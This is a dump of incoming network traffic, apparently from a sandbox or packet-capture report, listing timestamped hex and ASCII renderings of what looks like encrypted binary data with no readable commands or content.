2021-10-28 20:43:28 UTC	10	IN	Data Raw: a7 6d a0 84 97 b0 71 35 34 33 d8 d7 6e 63 76 3c 7f 42 cb c5 1b 6f 4c 9c 5f 05 8b d7 f0 4d 10 6d 5e 59 1d 83 fc d2 30 78 21 28 99 a2 5d 94 f5 9a 2f f4 a6 b4 5a 9b 16 7c 18 da 78 2e 26 fb 35 7d 36 4a ea 59 fc 67 86 96 22 4f 40 7d a9 d7 e4 5c 2d ec 7c 0a c4 72 7d 8d 42 2c 89 29 f2 b0 32 10 2a 4a fe 98 be 50 1d db a2 0f e2 9c d6 69 b9 5c bb 15 a9 98 49 3f f1 b0 08 73 51 47 65 b8 d5 88 2d 8a 27 d0 11 57 1c 46 b3 84 f4 cd ad 51 75 a9 6c f3 09 f8 48 31 5b 11 8d f2 8e 48 6d a4 37 f0 11 97 67 9c cb a5 36 1a 92 88 c0 19 9b cc 59 31 f5 8f 7a 8d 03 63 fc c5 9d 34 aa ea 4b 83 d8 d0 10 e6 4b 2b 65 af 9d 37 18 46 46 1e cf f4 22 51 70 f4 65 77 8c 60 39 62 5c 00 dc 59 31 08 94 6c 28 d3 a7 0e 53 6d ff 25 e1 f6 b7 8b 83 50 9a af 4d 8e 4b 15 54 e2 99 72 64 25 b4 67 7f 0a 5c Data Ascii: mq543ncv<BoL_Mm^Y0x!(]/Z\|x.&5}6JYg"O@}\-\|r}B,)2*JPi\I?sQGe-'WFQulH1[Hm7g6Y1zc4KK+e7FF"Qpew`9b\Y1l(Sm%PMKTrd%g\
2021-10-28 20:43:28 UTC	12	IN	Data Raw: 00 10 00 5b d0 c6 1b 41 0f 5e 93 c2 e0 6f 13 2b c4 65 96 4f 03 79 19 d0 ee a0 45 af e1 d7 11 d6 1b a6 a2 3c fd 26 76 b6 0c 1e d7 0a a9 cc 0c cf 20 4d 42 21 29 79 7f d1 e1 79 8c 6e e8 c8 35 ac 3e 29 28 16 0e de 43 fc 4c 77 bb 7d 1e 8a 3b e6 01 7e be 0a 41 93 41 8b 2c b9 6d 6a 1f f3 39 91 59 bf ca f7 3a 3e 9e 71 4a 37 ff c5 e6 e7 34 8a 5e 66 6a dc 66 93 a7 8c 1f 92 b4 29 26 d1 7d 57 70 44 58 fb cd bf ed 40 87 92 e3 3d 5c a7 73 a1 3f 97 e6 c5 7e 72 19 4b db f5 9b a4 fe 13 fd 8b c5 09 c1 05 a3 5e 2f c4 0c 07 01 8d 39 62 c6 ad ae 71 f1 43 dd 40 86 0b af d3 1a 26 2b 0b 4c e9 6e 59 a6 99 b7 ce 1d 79 db cc fb b7 ae a3 3e 71 4a c2 5c b8 ee fa fe 09 71 b4 87 33 15 a2 95 af be d0 99 3a 14 c3 b2 60 07 18 17 78 df fd 64 93 5d d4 95 d2 a4 5b f4 e1 d4 35 1c e8 7b 76 c6 Data Ascii: [A^o+eOyE<&v MB!)yyn5>)(CLw};~AA,mj9Y:>qJ74^fjf)&}WpDX@=\s?~rK^/9bqC@&+LnYy>qJ\q3:`xd][5{v
2021-10-28 20:43:28 UTC	13	IN	Data Raw: 7b d2 6d c1 88 29 2a 79 f8 d9 fa 99 e0 16 97 82 8d 23 84 8f 89 d4 76 1a d3 e7 bd 2e 2b 5f e9 1a 3b f7 cb c0 e8 6e 8b 6d c9 0a af 91 f8 51 b2 04 20 28 17 4d ad e6 3b ae 24 e8 8e c4 2f 67 07 76 c1 10 19 10 81 f4 09 29 3b 16 fa 79 08 cc 26 59 ef 20 e3 87 84 90 06 b9 1a 60 44 8e d2 0f 76 cb 73 fb 4c e7 ac 13 8f 43 fe 4e 59 f8 bf d8 bb 50 1e e2 66 d1 30 be 6f 1d 42 87 22 ce 97 e6 5c 33 ff dc 75 7a a4 ea d3 85 a6 43 cf 76 1b 5a 0e bd 23 b7 80 6b 9e 09 d6 dd cd 8f c5 1f e3 41 17 d5 89 ea aa ac 12 86 83 b2 2b 21 8f c1 cb 7a 22 ce 80 a4 7a 68 fe 26 01 c4 08 9f 1a 9f 44 e4 b6 d3 b4 7f 50 a0 27 90 ac 83 92 4b 53 d7 18 4f 3d 8d 2c 68 47 f9 0c f3 fe 71 bf e0 d9 eb a5 ae 2e 58 e9 b5 e1 a0 7b a4 9a e1 3f 6b 63 46 22 11 76 e4 16 b6 10 36 4b 3b ea a3 0d 03 e5 19 a4 3b 8f Data Ascii: {m)*y#v.+_;nmQ (M;$/gv);y&Y `DvsLCNYPf0oB"\3uzCvZ#kA+!z"zh&DP'KSO=,hGq.X{?kcF"v6K;;
2021-10-28 20:43:28 UTC	14	IN	Data Raw: 99 a9 eb 2e c9 63 3c 8f a0 7f fe 25 44 76 d9 07 0d 70 80 c8 9c bf 9c 7c c1 f2 5c d7 c1 45 63 cc df 4c bf a1 9d 66 10 ae ee 2b a6 81 21 5c 5b a5 1f 53 c4 b3 ee 18 2e 53 ad 0a 92 93 7d 79 57 d9 9a aa 04 8d b6 95 37 dd f6 a5 f2 bd 8b 24 22 98 46 88 82 5a 61 ca 8a 9b 22 ec 83 3d 5b 9b b4 b6 e8 81 c2 90 32 5c 8d 9f c4 a5 9a d9 5f e8 16 af b7 10 cf 57 17 3d 8f f8 34 74 17 99 6e 44 e7 4e 62 f0 c2 0f 80 25 02 8f 55 c2 c7 4f 97 93 04 81 8f 18 b5 f8 64 51 89 6b 04 13 c9 8e 58 0f b8 c6 91 e9 6b f7 d5 1e 17 7a b8 fa ea 79 69 c0 57 f2 bd c3 31 ec dd c2 e2 17 e8 db 14 98 cd 47 1f c2 19 c4 a4 d3 b4 a3 1b 38 52 8f 36 33 40 cf 07 3a 38 af 45 86 8d 84 87 99 60 f7 11 39 3e 93 a9 a6 89 55 57 d9 fc db ff c2 49 47 18 33 73 02 74 d3 70 e2 6b 86 05 52 7d 02 a0 44 72 73 c5 70 cf Data Ascii: .c<%Dvp\|\EcLf+!\[S.S}yW7$"FZa"=[2\_W=4tnDNb%UOdQkXkzyiW1G8R63@:8E`9>UWIG3stpkR}Drsp
2021-10-28 20:43:28 UTC	16	IN	Data Raw: e2 9a 0f 66 35 80 7a e1 47 e6 de eb 3a 80 f9 69 c6 57 99 3e cf 37 f8 b3 7d f6 c9 44 e3 6a 91 1c c2 65 d5 d7 0b e8 1a f4 13 f5 22 4e d0 1c 19 2a 75 08 b8 f4 5b e8 39 f3 e6 18 5e 56 2e 76 2c cb 96 69 94 90 4d 0f 2a d0 01 4a 7e e6 20 9e 6e c3 a8 49 e4 d4 e0 12 31 b8 b5 47 6a f2 28 87 67 28 f5 74 ac 08 a1 13 a8 97 e4 e7 e9 49 ec e9 ae 71 f1 2f 6e e7 25 b7 79 c8 14 73 8a 50 fa e6 b0 be 92 dc d9 47 b1 65 80 64 70 f1 c3 b5 e6 25 d9 c4 64 fa 82 d9 4b f8 a3 8e db 56 0d e1 38 ba c1 be 4c a4 f4 b1 80 a0 4f 71 24 d4 de 0c ca 13 d2 2e 16 df b1 d3 aa c2 5b 4f cf d7 40 fd 91 31 e4 b7 cd 7e de 61 2d 42 74 96 aa 39 04 66 93 19 0d 4b 2e e7 d1 c9 50 f4 8b e5 bb 94 8e 0b c5 32 49 fc f3 c4 e5 b7 f7 c5 d1 d8 04 4d 1d ff b9 b8 6a 74 bb e9 54 37 80 27 b4 4a fa 2c 12 bc a4 6e e2 Data Ascii: f5zG:iW>7}Dje"Nu[9^V.v,iMJ~ nI1Gj(g(tIq/n%ysPGedp%dKV8LOq$.[O@1~a-Bt9fK.P2IMjtT7'J,n
2021-10-28 20:43:28 UTC	17	IN	Data Raw: 5e 40 b7 4b ad 7c fa a0 17 34 55 a6 2d a4 04 2c 43 c7 b2 e0 b1 8c 78 61 30 59 0a bf f3 9f 09 85 cd 51 32 c8 10 06 a7 ab 31 47 ad c5 bb 77 c6 c1 bd 29 c9 9f 60 df 52 d9 81 c3 af f0 fe 73 bb 2d a4 d5 84 8c 21 02 be 8d d5 84 b7 88 8b 11 ad 67 c2 6e b9 6b f3 d9 ba aa ae 60 c6 10 b0 64 fe de d6 a0 87 86 3e bc ec f7 90 9f ee eb 46 07 c0 df fe 4c b8 94 85 df 17 0c 75 85 cb 03 29 56 dd a1 c7 1f d5 cc eb 46 45 1a 00 0e 23 71 2a ad b2 ce aa 05 eb 1a 11 ee ed 9d 14 6b ad c5 4a a4 c8 8a b3 80 c9 1f 64 b6 8f 91 df 73 6c 00 20 d0 f0 26 3d 55 bc 4b 17 9a 70 12 cf da 40 bf ad 21 d3 c1 b7 47 58 c3 76 98 35 ce f8 a8 e7 ab 60 18 8f 06 cb ec ca 49 53 2d aa 7b c4 f2 30 8b f7 d2 ad e5 3f d9 ff 1f 60 e0 91 74 df e4 b3 db 00 32 4a 43 da 07 84 b0 c5 a7 e3 6e 60 32 8b 93 ec 5d 02 Data Ascii: ^@K\|4U-,Cxa0YQ21Gw)`Rs-!gnk`d>FLu)VFE#q*kJdsl &=UKp@!GXv5`IS-{0?`t2JCn`2]
2021-10-28 20:43:28 UTC	18	IN	Data Raw: 58 35 82 6b d1 ab 46 d4 92 97 20 6b 3f 02 f0 5c 97 42 9a 17 67 0a 3c 60 1f f5 f7 18 c6 c2 fd 9e 8d af 4a 34 5a 04 10 3b 25 3e fc 7a 00 c3 4d 9e b8 43 e6 52 48 53 ad d4 a9 b2 fa b3 62 44 a2 56 25 7f ed bd fa 69 c2 bf 9d 75 07 e7 69 90 3f af fe ce 0b f2 28 e2 a9 42 6a af 14 86 21 0e 34 62 ce 77 71 b2 5e 92 e5 25 c9 a3 a8 7f a8 7b 3b bb b0 cf d0 d5 c7 eb 70 fd 8e a8 41 8c 97 68 d8 fb e3 e0 af ad 9c 50 5c 74 7c a0 6c 11 fa f0 50 d2 0c 62 f1 0a f6 91 19 9c cd fd 79 a4 02 2e 84 f0 a3 fe 7b 17 91 be 3b e9 b6 ab 99 8d e8 2a 66 35 2d c0 ac 7e 4c 72 4f fe aa 47 85 96 5b 61 cf ef ee dd ab 58 5a 39 bf 19 b3 7c f7 78 20 61 dc ce 27 70 57 58 55 de a7 b0 6b d1 30 d7 87 15 49 0f c1 6f e2 c0 00 5a 7e 00 51 6c 08 22 11 32 55 b5 31 42 19 cb 3d 12 6a 9e 07 6b 40 1c a1 9c a9 Data Ascii: X5kF k?\Bg<`J4Z;%>zMCRHSbDV%iui?(Bj!4bwq^%{;pAhP\t\|lPby.{;*f5-~LrOG[aXZ9\|x a'pWXUk0IoZ~Ql"2U1B=jk@
2021-10-28 20:43:28 UTC	20	IN	Data Raw: 41 a4 0c 3b e9 fd 69 41 d1 8a e8 26 54 a2 c2 1c ee 30 a1 26 95 1c 43 a6 3d 2d 15 17 c7 e9 52 4b 6d e1 69 66 c9 41 ba c5 ea 8e 84 45 07 34 02 a3 01 c7 96 4f d5 e6 5e f8 69 73 cd 7c 9f 34 0f 8e 83 9c f8 c3 04 05 80 c1 37 62 42 6b 59 4a 85 f4 b2 05 a7 90 a9 5d 00 8a e0 61 34 db 69 22 2d a3 17 b3 c3 3c f7 de 5d 25 9e cd e3 a7 01 99 98 9c 47 ec da c2 86 2d f3 03 96 75 6c 14 d5 3c d7 f8 dd 05 f7 9f 2d 4f d1 bb d8 ac ff fc 07 a8 6d f8 42 06 c5 5f 00 a7 3c 82 b6 65 16 17 2a d5 8d d4 33 3e 35 38 d9 90 eb d4 fb 62 fb 9f aa 5b 31 4f 78 e9 c0 80 96 c4 6f 2b f7 f6 fb 62 e9 ac 03 fa 42 0d d1 85 94 a0 f8 15 ae d0 ff 65 12 70 fb 94 ab d3 48 b6 d6 cb b4 7c fe e6 9e 90 0a d8 0f ca 5f f8 8f af 43 fc b2 f9 3d dd 65 ac eb 0f ea 45 de 0b 5f e5 52 e7 31 e2 a2 6d d8 94 55 c3 b5 Data Ascii: A;iA&T0&C=-RKmifAE4O^is\|47bBkYJ]a4i"-<]%G-ul<-OmB_<e*3>58b[1Oxo+bBepH\|_C=eE_R1mU
2021-10-28 20:43:28 UTC	21	IN	Data Raw: d1 e2 ec 86 a0 c4 0f 9c 23 63 18 cc 36 3c fe 37 92 56 ec 86 11 74 4a f5 89 2c 84 27 2c cd 4c e9 a3 07 c2 de 35 4f 41 a2 9a 23 dc 36 cb 8d c4 a0 77 70 17 fc 33 fb 3f 4d 16 ff e2 b2 f0 84 f0 87 b2 9d b4 0f ce 5d e4 3b 31 a6 2b 98 e9 4b 87 b5 b5 34 cb 0e 7d d5 ea 10 a6 44 ea 13 71 db b3 79 e0 61 c5 18 13 91 b1 ff b9 89 5e c2 d3 78 38 7e 5d 9b 5f 10 e8 3b 17 09 f7 58 f4 01 d3 1d a0 69 15 88 eb db 94 1e 66 67 f8 ef 40 ab ef cf db 2d a3 99 04 8b f3 8c 53 8c ed 96 4a c0 e2 5c 0b 22 bb 4f 38 ec 12 88 94 42 0c e4 f1 ab 26 b0 c7 78 44 1b 16 56 5a d7 b1 4e 0d 1c 87 a6 97 d7 88 10 bd a1 1e 05 85 89 7f 97 86 85 99 78 af 6d 7e 69 5d c1 70 c4 d5 03 81 54 be 7d 85 d8 48 3e 1f 5e 59 4c 2c 2d e0 6a de a7 bc 04 af 1b d7 c3 6a 29 7c 2b 97 02 89 5d c4 27 37 17 58 87 7b 0b 0d Data Ascii: #c6<7VtJ,',L5OA#6wp3?M];1+K4}Dqya^x8~]_;Xifg@-SJ\"O8B&xDVZNxm~i]pT}H>^YL,-jj)\|+]'7X{
2021-10-28 20:43:28 UTC	22	IN	Data Raw: bc 40 0e 11 ed 1b d7 61 40 fd 6a d7 77 8a 65 a3 d0 d5 4f bc 68 3f 9b 8f 0b c4 f7 5c ac 75 4b 5f aa 4d 11 7c d6 e6 b3 14 3e 31 7c 5c 46 77 a1 4f 2b 62 51 c0 67 cc 0f 52 de 65 d0 af bc 82 54 4b 90 45 2b f1 84 99 5f 0d 3c c9 5f c1 da e0 a8 0a 4d b4 f9 00 72 7a b4 83 7d 45 6c 49 6f 09 01 14 b8 95 6d 4b 86 0e 0b 0e 25 19 a0 77 e3 52 22 98 35 fe 6e 20 c1 72 b1 23 e6 f7 a4 aa 62 60 a7 08 dd e7 6e fd 24 b1 df 9f 8f 91 c4 0b 24 59 3a 8e 33 e2 37 17 70 df 31 6f dd 86 1f a4 87 f0 08 5d 26 d2 d5 23 f7 1a f5 d6 b6 1f ab ac 0d 99 2c bf 2c b8 6f b4 b0 04 46 50 bd 6f 6a 00 13 49 c9 23 ce 69 0f 42 24 59 9a e2 46 b8 03 1f b1 3f 5a 1a f9 67 47 10 2c 0f 6a ce b4 01 a2 d3 e2 0e 0c dc 17 39 91 4a 26 85 45 a0 f5 ea 11 9d f4 69 0a f0 9f 32 c2 14 44 29 0f 08 a9 69 c0 7c 96 4f 87 Data Ascii: @a@jweOh?\uK_M\|>1\|\FwO+bQgReTKE+_<_Mrz}ElIomK%wR"5n r#b`n$$Y:37p1o]&#,,oFPojI#iB$YF?ZgG,j9J&Ei2D)i\|O
2021-10-28 20:43:28 UTC	24	IN	Data Raw: 0d ce b4 11 d5 15 72 a3 d6 b4 be de 47 ed bb c9 32 4a c6 75 ea e1 a5 5b 05 76 bc 17 a3 89 03 ee 43 f3 f1 0d b3 d9 bd e6 70 37 6e cc 87 34 24 14 fb 3e 1b ec 9f ff de fe b1 50 4e f9 6d 9c e9 6f 8d df 45 f8 bb c9 e6 1b 55 e1 ff 91 fa b9 6a 1b 2a 10 18 ff 38 04 bc 85 3b cd be 1f 50 21 01 67 24 15 02 a9 6a 75 60 02 51 f3 6f e6 d2 64 35 92 36 98 84 b1 70 e8 90 c5 2a d0 d8 74 2b 3d ae e3 3a 48 38 6b cf 5d e4 3a 08 66 39 1b 63 1a 2b 85 6e 41 b2 d6 99 45 05 83 ab e1 1b 52 19 e2 70 01 9e 91 13 d0 8b dd 21 dd c0 c7 aa ae 8a bf d0 62 29 7b ce cf 4f fe 5c f7 ad 5c 6b e1 f3 e2 b9 6a 69 7a c4 88 6b 16 22 59 91 b9 69 88 4c a8 c2 cd c2 dc 26 79 06 9f e9 0b aa 16 e2 02 b7 d5 59 9c 36 be 3f b8 db b9 ad 5b c3 ab ba 22 5f 26 6c 0f f0 fd 4a 87 36 66 0f e2 cd 25 de f7 fe 88 11 Data Ascii: rG2Ju[vCp7n4$>PNmoEUj8;P!g$ju`Qod56pt+=:H8k]:f9c+nAERp!b){O\\kjizk"YiL&yY6?["_&lJ6f%
2021-10-28 20:43:28 UTC	25	IN	Data Raw: f5 2b a6 70 ca bb 21 f5 af 2b 18 f7 60 01 64 35 16 c9 cc 43 63 2d a5 9b a6 5b 93 4a 9e 70 20 58 62 e5 df f2 4e 9d 23 7b 1a 3d 84 df 41 b1 ff 5a 33 47 fa 3a f1 20 d4 e8 52 20 e2 7f 63 69 6f 3f fc 1c 1f 39 73 0c 0f 4b f9 1e 8a ff 22 43 46 29 77 16 ac 72 d5 3f b0 a8 57 5f d7 49 dd 8d a5 13 2e 2e f3 85 d2 8a 6f 4c 3f 7a 0d 3d d9 df 57 f1 ea 62 1a dc 27 1f 69 e5 56 00 0c c3 d1 85 db 3c d5 be 6e eb 80 e5 6d cf 34 4c f9 78 1b 5d 58 fe a7 15 85 25 74 b2 75 f9 f5 1f 87 5c c4 4a 73 ad ca 19 d3 3c 88 d3 52 f4 b8 1e 40 d3 14 41 da 31 69 df dc 78 b8 80 1c 46 39 fc 80 09 f3 2b c7 86 37 81 e0 f9 b7 d4 e0 de 35 71 64 dd 5f 05 f9 82 8f 93 5e 28 9c 96 92 2c 2e 54 8b b4 6f e9 21 54 db 0f ec 42 1a 3b 88 d5 87 48 b3 3e 80 6e 88 30 fd db 33 01 bf 56 20 92 6f 3d e3 ed f8 01 b7 Data Ascii: +p!+`d5Cc-[Jp XbN#{=AZ3G: R cio?9sK"CF)wr?W_I..oL?z=Wb'iV<nm4Lx]X%tu\Js<R@A1ixF9+75qd_^(,.To!TB;H>n03V o=
2021-10-28 20:43:28 UTC	26	IN	Data Raw: 6f 6b e2 74 d0 b5 fd 30 91 ad 9d 4f 01 68 a7 d2 e7 f5 43 f2 8b 73 83 d2 43 61 32 a4 28 18 3f 2d 28 32 46 50 2f 96 70 1c b6 94 a1 ba 74 4f 97 eb 14 1e dd a3 c2 27 40 90 4e cb f2 cd 54 36 0c 18 cf 2c 12 33 fd 79 cf e0 c9 df ce 6f 0b c5 15 6a 61 53 cd b7 03 63 a5 f7 c2 b0 ee cb 13 c4 94 63 9f f2 6b a6 1c f2 23 fb 30 7a 40 8f 49 42 50 75 55 4a 1d 7f bb b5 22 db 4b a4 8f a9 d7 a5 f8 b2 0f f9 ba 7e dc 98 7f 70 60 30 fe 5d 91 7c 43 4f 16 16 08 99 fc 63 a3 ff 21 df 41 97 1e a7 2e 50 60 45 1f a7 c4 c0 8d ca 9b 17 e3 73 76 28 4d 9a da f7 23 b9 49 66 d4 f0 03 98 4e d8 2d 07 2f be 4d 1e 7f 5b 35 5c e0 cb 7c bd 3d fb af 2a 94 88 3d 20 23 30 12 2f 1a da 81 86 b8 fe ae 12 83 bd dc 9a 1a 4b bd 6d 92 26 de ed f4 4f fa 55 4f b5 33 4d 44 19 73 5b d1 03 9f 21 24 83 70 d5 51 Data Ascii: okt0OhCsCa2(?-(2FP/ptO'@NT6,3yojaScck#0z@IBPuUJ"K~p`0]\|COc!A.P`Esv(M#IfN-/M[5\\|=*= #0/Km&OUO3MDs[!$pQ
2021-10-28 20:43:28 UTC	28	IN	Data Raw: fd be 5c 28 af a3 66 d7 ed eb f2 ef 80 60 57 65 03 fd 40 9c 8e b9 70 6b 30 af 56 2c fc a7 50 bf 5c db 98 8e 9b d8 06 b3 9b 2c 51 3a f9 9e d5 e5 c3 dc 62 03 43 23 5f 60 58 af ca b1 a9 a3 37 1d fc 9b b9 22 00 09 9c 32 f5 86 8e 9f 07 0d b1 08 4b ad 22 c6 dd d3 54 f9 55 ad bf 45 bb c2 2d 75 93 f2 c8 d4 50 e8 fb 41 e6 02 cd 80 58 2d 2a f9 d3 9d b9 04 77 ac 03 44 96 c1 bf 3e 92 4d 81 27 64 5a c7 9b a5 0f b6 42 d1 7e a3 c3 c8 65 7d a7 92 4d b4 d0 a0 b2 fc 3e e9 94 ee 5b 85 25 62 11 87 bd bc c9 87 38 b8 01 93 6e 83 81 15 74 02 8d 20 4b ae 9f 0f 9e dc 93 97 85 4a f6 42 1d 90 47 5f b5 61 1a e7 bc 62 78 5c 6b 12 c9 f2 f0 ea c6 c0 1f 54 0b 7e 7b ff 7c 50 8d a4 40 44 be eb 3e 06 89 b7 96 ff 17 19 80 19 23 04 7c f7 2d 5d 97 8d 4d 7d 2d 26 3b 2b cc f6 7d e6 98 f8 3b 16 Data Ascii: \(f`We@pk0V,P\,Q:bC#_`X7"2K"TUE-uPAX-*wD>M'dZB~e}M>[%b8nt KJBG_abx\kT~{\|P@D>#\|-]M}-&;+};
2021-10-28 20:43:28 UTC	29	IN	Data Raw: 1f ae 1a d0 c0 a3 a0 7c 2f 48 a0 56 fa fd 2f 43 df 0e 17 ae bd c6 df 48 8a 68 ab 45 c7 2a a3 cd d0 c1 94 d6 68 91 7a e6 cb 1c 4a 3a d0 13 2a 71 fc ac eb bc 09 be 8b c6 75 cd f3 18 fc d1 77 c3 1c d9 77 b2 ac d0 09 59 11 34 ef c8 e2 8d 93 4b 07 45 4b 84 95 3c f7 52 f7 7e 0b 85 f9 52 7d 5f 9a 64 02 66 e2 85 31 0b 12 dc db 13 f6 78 f8 81 fa c6 06 e8 5f 69 4f 4d 93 15 5a a3 68 0d ea 29 5e 15 74 13 ed e7 db 81 87 6e 09 df 0e 40 1f 56 0e 88 3e 5c 4a 2e 9f 76 9a 47 f6 f8 42 33 a3 a0 54 2b 1c fc c8 39 01 8c 4f 81 6c 1d 11 9a 02 78 d4 e5 4d 65 bf 7f 10 6f eb 91 01 0b 3d 0d 8c 35 b0 e5 2e f2 56 82 81 c7 06 dc ea 68 a4 39 45 f0 87 ba 08 ca 20 5c 65 ea d4 66 11 34 2d 91 5d 8a e4 ab 05 e8 b1 db 9d 31 50 45 b9 6e 14 c0 fa 9d 35 23 27 44 d2 de 79 d8 88 eb 5f cc 9e ae 97 Data Ascii: \|/HV/CHhEhzJ:quwwY4KEK<R~R}_df1x_iOMZh)^tn@V>\J.vGB3T+9OlxMeo=5.Vh9E \ef4-]1PEn5#'Dy_
2021-10-28 20:43:28 UTC	30	IN	Data Raw: 66 b4 1b e7 e5 c0 d5 7f eb 22 9c 95 fa d3 a2 28 70 b8 ec 06 88 99 8f 2a 2a 0d b7 44 68 b9 24 f7 61 ee b2 b4 7d dc cc c5 f6 d4 4b c3 7c 4b 6e 99 ad 5c f7 9a 97 d1 25 de e4 10 2c e9 16 c5 f0 2a a7 70 26 23 5d c1 e2 60 8a 1f a9 27 14 dd eb cb a5 6e 28 31 4c 8b 08 38 de e0 86 d4 8a bb 83 5b 09 6e 58 c7 b2 3a 25 cd b1 14 ca a4 69 f2 f6 df f1 fa d1 31 d5 30 2e 20 2a 38 cb f6 ae 16 59 5b 4d ce 5c 00 2b b8 45 6d 9a 0d 70 08 c9 2d a2 71 01 ee b4 5e 33 d6 8d ec 99 a5 e8 c9 b1 ec 62 d2 e4 73 0e e2 96 e5 17 15 79 ee 1f 38 bc 20 f1 ab c3 79 81 89 c2 ac 61 50 3f 47 c7 05 cf 93 7c 3c 46 13 b5 6d 18 a8 c6 e0 11 b2 33 77 6a ff af 3c 09 94 77 09 a5 aa b9 2b 63 cb 12 db 74 0f 05 17 cd 93 84 12 a1 ca 98 67 69 7a 32 21 2c f6 da 7f 7f ad 9c c0 00 0f cb 83 ce 27 fa 8e 16 cb b6 Data Ascii: f"(p*Dh$a}K\|Kn\%,p&#]`'n(1L8[nX:%i10. *8Y[M\+Emp-q^3bsy8 yaP?G\|<Fm3wj<w+ctgiz2!,'
2021-10-28 20:43:28 UTC	31	IN	Data Raw: fc 93 be 73 78 9c 4b e8 86 27 5d 6e 7d fe fc 7d b9 30 dd 97 f3 ae c4 76 4f 7c 44 88 9d 75 cc c0 9c b0 72 74 3b d4 57 e4 f8 d2 24 bf 78 8a fe 62 b9 95 b3 fe 36 c6 18 f5 fd fc 39 9e 7d 7a 53 77 5e 66 6f cc e3 6d 2c 54 77 7e e5 53 3a ca a3 1b f4 5c 7e d1 bd 64 48 7f 3e 61 93 d7 fd bb 33 73 15 cd 6e 83 fc 7c 98 f6 d2 8e 9f 23 7a 30 6c 6a 2b e3 93 07 f7 1f 2b e6 cb 81 34 b2 ea 32 79 49 1f 40 fc ea f7 f9 ec c6 eb 9f 84 32 90 fd 57 a8 68 4a 09 df 4a 2d 40 43 06 c2 20 91 62 9f d1 8c fa b2 41 2e ee cc 6f 08 04 71 75 a4 f7 37 93 e7 ea 4a 9e 92 e2 59 65 d6 6b 6f d0 0b 16 5a 9e 10 06 ea 2d 7e a3 27 ad b6 ff c1 7e cb c0 48 4e ab 86 89 e2 62 93 fa f0 9e 45 7a 9f 43 f5 7b b3 c3 ca 4b a9 c2 49 99 8a 31 93 fe bc 44 3e 53 a6 95 ce 9d d2 b3 18 92 dc 1d 19 5d 0e f8 60 88 0c Data Ascii: sxK']n}}0vO\|Durt;W$xb69}zSw^fom,Tw~S:\~dH>a3sn\|#z0lj++42yI@2WhJJ-@C bA.oqu7JYekoZ-~'~HNbEzC{KI1D>S]`
2021-10-28 20:43:28 UTC	33	IN	Data Raw: 11 1f 91 6e a5 f6 6c 2d e0 f0 08 45 50 5a 83 58 35 7b 32 c7 6d 9b 27 14 00 e1 6f 49 97 89 10 09 f9 26 4f 84 9c 87 15 7a 57 99 c5 e0 38 6b 40 1f a9 f7 bf 0c e2 b7 6b 29 f5 92 1c d6 0b 5b 32 ef 1f 34 df 12 19 2c 8e 51 05 4d 95 cf 46 82 92 2d 24 e7 63 13 0a d2 e3 e5 e6 f7 eb f8 ed fa f2 47 d9 79 f0 77 99 31 77 c4 eb fe fb 11 04 f4 b8 32 58 fe 1a e1 07 66 03 06 3b 56 f2 c6 16 35 e5 5b e9 24 31 6a 56 b0 79 7d 90 48 53 2d 93 3f 9a 89 aa 59 7f 19 67 af 15 34 44 44 36 d5 88 90 04 7e c5 d6 a1 42 a3 59 ee da 1e 86 f0 91 bf 36 92 03 86 70 e8 8b c9 cf 49 e0 79 e8 91 80 95 29 ed 1b c1 8e 0a eb 00 e8 b9 00 d8 09 c8 0e d4 16 11 db 8a 68 05 70 17 0f b6 b6 8c ee 6e f9 ed 3c 60 7c a9 89 66 e4 6b 82 35 8b 4d ae eb e5 e0 c5 21 1e 42 19 1a 75 8e 78 d6 09 cd f3 c3 d2 83 2d 98 Data Ascii: nl-EPZX5{2m'oI&OzW8k@k)[24,QMF-$cGyw1w2Xf;V5[$1jVy}HS-?Yg4DD6~BY6pIy)hpn<`\|fk5M!Bux-
2021-10-28 20:43:28 UTC	34	IN	Data Raw: 16 7f 3d c5 c1 c7 1f a6 89 f7 a3 10 e3 5b 1a 15 61 44 2c f1 16 fe 90 e4 cb bd 9a 00 bb 96 f5 84 c0 a5 f7 c0 c2 f3 70 ea 7a 10 6b 1d d1 e3 e8 b2 3f 27 2a 52 ee 16 30 a6 69 6c 77 0b 7c 7f f7 2f 93 a1 e1 02 08 bc b1 56 fd c1 6b 1a 50 b5 43 9c 77 34 40 63 d2 d6 37 23 81 f1 66 7a ff 80 6e e7 a7 fd cf c3 2b 44 96 14 39 1d 37 89 e2 04 49 5e 03 2d f3 a2 e7 5c 49 e9 f2 69 d2 c9 f7 89 b1 a0 76 7b 7f 0a 82 13 26 96 9b 51 81 13 81 7b 96 c9 73 12 da 53 a5 a7 52 9d 4e 6b f2 b4 02 69 07 10 df c0 b9 32 ff c6 e0 b6 cb 53 c5 c0 f7 06 b1 5a 9a 6d f5 07 87 25 0c 3e 41 18 1a 0d 73 9e bc 4b 0f c7 18 6c ab 45 2d a4 a6 fa 93 6e 5c 06 21 c2 cc 82 70 26 73 f7 95 bf 91 bf 12 3f b2 6a 68 2b 6d c4 ce d3 a3 2c 2d c0 9f f5 b3 c2 5f 4a 0f ef 51 cb 62 c6 1e ac 19 60 3f d0 b3 5c a0 9c fc Data Ascii: =[aD,pzk?'*R0ilw\|/VkPCw4@c7#fzn+D97I^-\Iiv{&Q{sSRNki2SZm%>AsKlE-n\!p&s?jh+m,-_JQb`?\
2021-10-28 20:43:28 UTC	35	IN	Data Raw: 85 ee 3d 84 4f d9 e3 70 3a 06 86 27 b9 d0 fc f9 14 5f ce 9d da b2 c4 19 ce 7a 9d ce e3 0d 4d 66 8a 3f f6 ff 1f dc 51 13 78 66 1a 3f 61 85 af 24 e5 64 6a a3 2d 58 92 5d 42 fe 4d a2 ab 1f 78 f7 88 b8 3d 5a c2 d8 a5 2b b5 39 27 36 8d 78 0e 9d 96 18 fe af 1f 96 92 ed f3 f7 be ab aa 19 59 f6 95 fb 80 04 9d ca 6b 3a 20 a1 e0 56 72 5c 11 91 71 2e ed 85 c3 06 6c 07 3c a1 34 97 5c 9e 6b 9b c3 76 74 ca 50 d7 46 1c cb 85 aa 70 f7 21 66 d5 ff ed d3 18 46 55 6a 92 6e 9d ab a2 92 2c d7 23 7c af 31 6d 51 d5 f5 d1 b8 9b f4 a8 c3 38 40 b9 58 54 9f f8 ab 99 84 1d 46 96 3a f9 0c d1 7f 1c b5 6b 08 0f c7 57 56 f7 9e 0e 57 6f 49 d2 ff 00 8d e8 3f 85 be e8 2c 91 9a 31 32 05 e7 a3 81 e5 09 6c 9b 0c 3c 73 3d 90 7d fd 03 69 92 bc 4b bf c7 7c 01 9d e7 8c bf ec cb 92 48 eb 2d 72 1a Data Ascii: =Op:'_zMf?Qxf?a$dj-X]BMx=Z+9'6xYk: 